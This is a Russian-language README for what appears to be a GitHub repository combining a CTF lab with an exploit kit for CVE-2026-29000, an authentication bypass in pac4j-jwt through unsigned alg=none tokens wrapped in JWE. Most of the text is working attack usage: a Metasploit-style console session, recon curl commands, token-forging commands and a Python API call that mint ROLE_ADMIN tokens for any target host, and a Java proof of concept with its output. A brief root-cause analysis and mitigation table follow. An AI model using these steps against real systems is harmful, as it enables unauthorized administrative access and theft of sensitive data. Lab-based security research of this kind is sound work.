CTF-лаборатория и набор эксплойтов для CVE-2026-29000 — обход аутентификации JWE в pac4j-jwt. Включает уязвимую цель на Flask, библиотеку для подделки токенов, интерактивную консоль эксплойта и PoC на Java.
Лабораторный CTF по исследованию уязвимости аутентификации JWE в библиотеке pac4j-jwt CVSS 9.3 (Critical) · CWE-287 · Затронуты: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
pac4j-jwt в затронутых версиях позволяет полностью обойти механизм аутентификации JWT, создав PlainJWT (alg=none, без подписи) и обернув его в JWE (JSON Web Encryption). После расшифровки слоя JWE библиотека не проверяет алгоритм внутреннего JWT — claims полностью доверяются, включая роли.
Цепочка атаки:
X-Powered-By: pac4j/6.0.3 ← утечка версии → определение фреймворка
↓
OIDC Discovery → JWKS → открытый ключ RSA ← публичная информация
↓
Формирование JWE (PlainJWT alg=none, ROLE_ADMIN)
↓
Обход аутентификации → GET /admin?token=<JWE> ← доступ к админ-панели
↓
Чтение чувствительных данных: список сотрудников, конфигурация системы, flag
CVE-2026-29000/
├── lab/ # Цель – Flask-приложение (NexusBank Employee Portal)
│ ├── app.py # Основное уязвимое приложение
│ ├── Dockerfile # Flag встраивается в /flag.txt при сборке
│ └── requirements.txt
│
├── token_forge/ # Python-библиотека для создания поддельных JWE-токенов
│ ├── forge.py # forge_token()
│ ├── jwe_builder.py
│ ├── keys.py
│ ├── claims.py
│ └── cli.py # CLI: python -m token_forge
│
├── scripts/
│ └── exploit.py # Интерактивная консоль эксплойта (в стиле Metasploit)
│
├── poc/ # Java PoC – подтверждение обхода in-process
│ ├── src/main/java/Poc.java
│ └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt
| Инструмент | Версия | Примечание |
|---|---|---|
| Docker Desktop | 24+ | Запуск целевого лаба |
| Docker Compose | v2+ | Встроен в Docker Desktop |
| Python | 3.11+ | Запуск exploit.py и token_forge |
| Java + Maven | 11+ | Только для Java PoC |
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000
# Linux / macOS
python -m venv .venv && source .venv/bin/activate
# Windows
python -m venv .venv && .venv\Scripts\activate
pip install -r requirements.txt
docker compose up -d lab
Проверка, что лаб запущен:
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3
Настройка flag:
docker compose build --build-arg FLAG="CTF{custom_flag}" lab docker compose up -d lab
docker compose down
exploit.py — интерактивная консоль в стиле Metasploit. Пользователь самостоятельно выполняет разведку для сбора информации, затем настраивает и эксплуатирует.
python scripts/exploit.py
# Или с предустановленными параметрами из командной строки:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080
Пример полной сессии:
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31
jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)
jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json
jwe-bypass > run
[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned roles: ['ROLE_ADMIN']
Auth bypass successful!
Open in your browser:
http://192.168.1.31:8080/admin?token=eyJ...
Откройте указанный URL в браузере, чтобы попасть в админ-панель.
PUBKEY поддерживает 3 формата:
# 1. JWKS URL — автоматическая загрузка (рекомендуется)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
# 2. Скачанный файл
set PUBKEY /tmp/key.json
# 3. Вставка raw JSON напрямую
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}
# Обнаружение фреймворка по заголовку ответа
curl -sI http://TARGET:8080
# Поиск скрытых эндпоинтов
curl -s http://TARGET:8080/robots.txt
# RFC 8414: pac4j всегда публикует этот эндпоинт
curl -s http://TARGET:8080/.well-known/openid-configuration
# Получение открытого ключа RSA из jwks_uri
curl -s http://TARGET:8080/.well-known/jwks.json
python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--subject attacker \
--roles ROLE_ADMIN
TOKEN=$(python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--roles ROLE_ADMIN 2>/dev/null)
# Подтверждение обхода
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile
# Открытие админ-панели в браузере
echo "http://TARGET:8080/admin?token=$TOKEN"
from token_forge import forge_token, load_public_key_from_jwks_url
key = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)
Подтверждение обхода непосредственно в JVM с Nimbus JOSE + pac4j 6.0.3:
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]
# Только вывод токена
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
pytest tests/ -v
# С отчётом о покрытии
pytest tests/ -v --cov=token_forge --cov-report=term-missing
| Место | Проблема |
|---|---|
JwtAuthenticator.validateToken() | После расшифровки JWE вызывает PlainJWT.parse() вместо SignedJWT.parse() |
_payload_to_claims() в lab | base64decode + json.loads напрямую, без проверки подписи |
Некорректный поток обработки:
JWE decrypt → получение payload → base64decode → json.loads → доверие claims
↑ отсутствует проверка подписи внутреннего JWT
| Мера | Детали |
|---|---|
| Обновление pac4j-jwt | До >= 6.3.3 / 5.7.9 / 4.5.9 |
| Отклонение PlainJWT | Проверка alg != "none" после расшифровки JWE |
| Удаление заголовка версии | Отключение X-Powered-By в production |
| Минимальные привилегии | Не запускать контейнер с правами root |
Предупреждение: Этот репозиторий предназначен только для исследований в области безопасности и CTF в контролируемой среде. Не используйте его на системах без соответствующего разрешения.